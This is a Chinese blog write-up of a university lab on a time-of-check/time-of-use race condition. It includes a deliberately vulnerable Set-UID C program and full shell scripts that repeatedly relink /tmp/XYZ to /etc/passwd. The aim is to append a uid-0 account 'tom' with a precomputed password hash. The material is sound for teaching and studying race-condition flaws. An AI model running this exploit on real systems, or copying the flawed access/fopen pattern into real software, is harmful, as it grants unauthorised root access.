//csdn博客目前暂时不再更新了,有兴趣请访问我的技术博客-晓的博客:zhangxiaolong.org
今天做了第二个实验,是条件竞争实验。首先呢,先思考以下两个问题:
1、linux下用open函数打开文件时,要是采用O_WRONLY模式为何容易产生竞争条件漏洞?换成O_WRONLY | O_CREAT | O_EXCL 模式后情况会如何?
解答:open函数用来打开一个设备,他返回的是一个整型变量,如果这个值等于-1,说明打开文件出现错误,如果为大于0的值, 参考格式>
int open(const char *pathname, int oflag, …/*, mode_t mode * / ) ;
打开的操作类型有如下几种
1) O_RDONLY 只读打开
2) O_WRONLY 只写打开
3) O_RDWR 读、写打开
采用O_WRONLY模式用open函数打开文件时,root总是可以创建文件,即便锁文件已经存在,这意味着该锁不能为root正常工作。换成O_WRONLY | O_CREAT | O_EXCL 模式后,就将权限设置为0,使同一用户的其他进程无法获得锁。
2、阅读一篇文章“从一个漏洞谈到ptrace的漏洞发现及利用方法”,地址为http://www.xfocus.net/articles/200304/503.html。描述其中的竞争条件漏洞出现的原因。
解答:代码是在内核线程exec_modprobe()的上下文运行的,程序的current指向这个内核线程的task_struct结构,而与创建这个线程时的current不同,那时候的current指向当时的当前进程,即exec_modprobe()的父进程。内核线程exec_modprobe()从其父进程继承了绝大部分资源和特性,包括它的fs_struct的内容和打开的所有文件,以及它的进程号、组号,还有所有的特权。但是这些特性在这个函数里大多被拚弃了(见源码的19行到42行,这里设置了该内核线程的信号、euid 、egid等,使之变成超级用户),不过在拚弃这些特性之前之前,我们的父进程,或同组进程是应该可以调试该内核线程的。漏洞也就在这里。
在学习完这两个问题之后,我们开始做这个实验。
1.竞争漏洞程序
下面的这个程序,表面上看起来似乎是完美的,但实际上它具有竞争漏洞。
//vulp.c #include <stdio.h>` #include <unistd.h> #include <string.h> #define DELAY 10000 int main() { char * fn = "/tmp/XYZ"; char buffer[160]; FILE *fp; long int i; //get user input scanf("0s", buffer ); if(!access(fn, W_OK)) { //simulating delay for (i=0; i < DELAY; i++) { int a = i^2; } fp = fopen(fn, "a+"); fwrite("\n", sizeof(char), 1, fp); fwrite(buffer, sizeof(char), strlen(buffer), fp); fclose(fp); } else printf("No permission \n"); }
分析:
这是一个Set-UID Root程序,它的目的是向临时文件/tmp/XYZ中追加一个字符串。既然这段程序是以root权限运行,那么它会仔细的核查真正的使用者是否具有写这 个文件的权限,这就是函数access()调用的目的,如果它核实了使用者确实有这个权限,那么它会允许用户向/tmp/XYZ中追加输入的数据。在核查权限(access)和打开文件(fopen)之间存在一段时间,那么就会 存在一种可能:核实的文件和打开的文件已经不是同一个文件了,虽然它们有相同的/tmp/XYZ符号链接。
2. 利用竞争漏洞
利用程序vulp.c中的竞争漏洞,其中一种是利用这种漏洞向/etc/passwd和/etc/shadow添加信息。这两个文件都是 unix系统向用户的授权文件,如果黑客能够向这两个文件中添加程序,那么它们就完全有能力创建新的使用者,包括系统管理员用户(通过令uid为0)
/etc/passwd文件是unix系统的授权数据库文件,它包含用户的基本属性。它是一个ascii码流文件,它的每一个行定义了一个用户的基本属性。
它的每一行的格式如下:
Username:password:uid:guid:gecos:homedir:shell
备注:Gecos:用来存储用户的一些杂项信息,比如用户的全名,办公室地址,办公电话和家庭电话,也可以是一个简短的文本信息。存储在这个字段中的数据时以逗号分隔的,用于用cgfn(change finger for short )命令修改这个字段。
具体的例子:
Andrew:x:1000:1000:Andrew Hudson,17,0123455,124244455:/home/Andrew:/bin/bash
注意所有的passwd字段都不会直接显示口令,而只是显示一个x,这些口令都会加密之后存放在/etc/shadow中。这主要是为了增加Unix的安全性考虑,如果不考虑安全性的话,完全可以把加密之后的密码放在/etc/passwd中的passwd字段中。
在实验中,我在/etc/passwd中加入了一下一行:
tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash 来获取root权限。
其中ttXydORJt50wQ是test的加密之后的密文。
可以运行perl脚本:
perl –e ‘print crypt(“test”,“tt”).“\n”’
来获取加密之后的密文ttXydORJt50wQ
我的目标就是在普通用户权限下攻击vulp.c的竞争漏洞,成功之后在/etc/passwd文件中追加一行:
tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash
注意:
追加tom用户的uid和uid均为0,所以我建立的tom目录获取到了root权限.因为我直接把tom的密码test的密文直接写在/etc/passwd的passwd字段中,所以我就没有必要再去修改/etc/shadow文件了。
攻击步骤:
第一步:建立符合连接
可以利用“ln -s”命令手动建立符号链接,也可以用C函数symlink在程序中建立符合链接。既然Linux不允许我们在旧链接已经存在的情况下建立链接,我们首先要删除旧的链接。
下面的C代码简单的指明了如何删除一个链接,然后使得/tmp/XYZ指向/etc/passwd:
unlink(“/tmp/XYZ”);
symlink(“/etc/passwd”, “/tmp/XYZ”);
竞争漏洞攻击的最重要的步骤是在核实和打开文件的时间间隔内,让符号链接指向我们设定的目标文件,即在vulp.c的access和fopen之间让/tmp/XYZ指向/etc/passwd.
第二步:运行攻击脚本
攻击脚本attack.sh如下:
#!/bin/sh race() { old=`ls -l /etc/passwd` new=`ls -l /etc/passwd` # when we modify the passwd successfully, the attack stops while [ "$old" = "$new" ] do # because when the synlink already exists, we can't modify the symlink, # so before change the symlink, we should rm the old one rm -f /tmp/XYZ >/tmp/XYZ ln -sf /etc/passwd /tmp/XYZ new=`ls -l /etc/passwd` # echo $new # echo $old done } race echo "Stop...The passwd has been changed!" RACE_PID=$! kill $RACE_PID
调用vulp程序的run,sh脚本:
#/bin/sh race() { while true do ./vulp <attack_input done } race RACE_PID=$! kill $RACE_PID
第三步:attack_input文件中存放的是:tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash,循环攻击vulp程序的目的是向/etc/passwd写入attack_input文件的数据,使新增的tom用户具有root权限。
3.实验结果截图
如图一所示:在zxl文件夹中,一共建立5个文件,分别为:攻击脚本attack.sh,攻击脚本替换输入attack_input,检查攻击是否成功的脚本check.sh,运行追加字符串的程序run.sh ,追加字符串传的程序vulp,且有s权限。其他程序都必须为可执行的文件,用sudo chmod +x /文件名 操作进行修改。
图 1
如图2所示,运行Run.sh脚本。它会一直循环运行程序vulp。
图 2
如图3所示,运行攻击脚本attack.sh。如果成功会显示如下提示,说明有内容写入到passwd文件中。
图 3
如图4所示,在/etc/passwd文件中可以看到,有tom用户写入,并且具有管理员的权限。
图4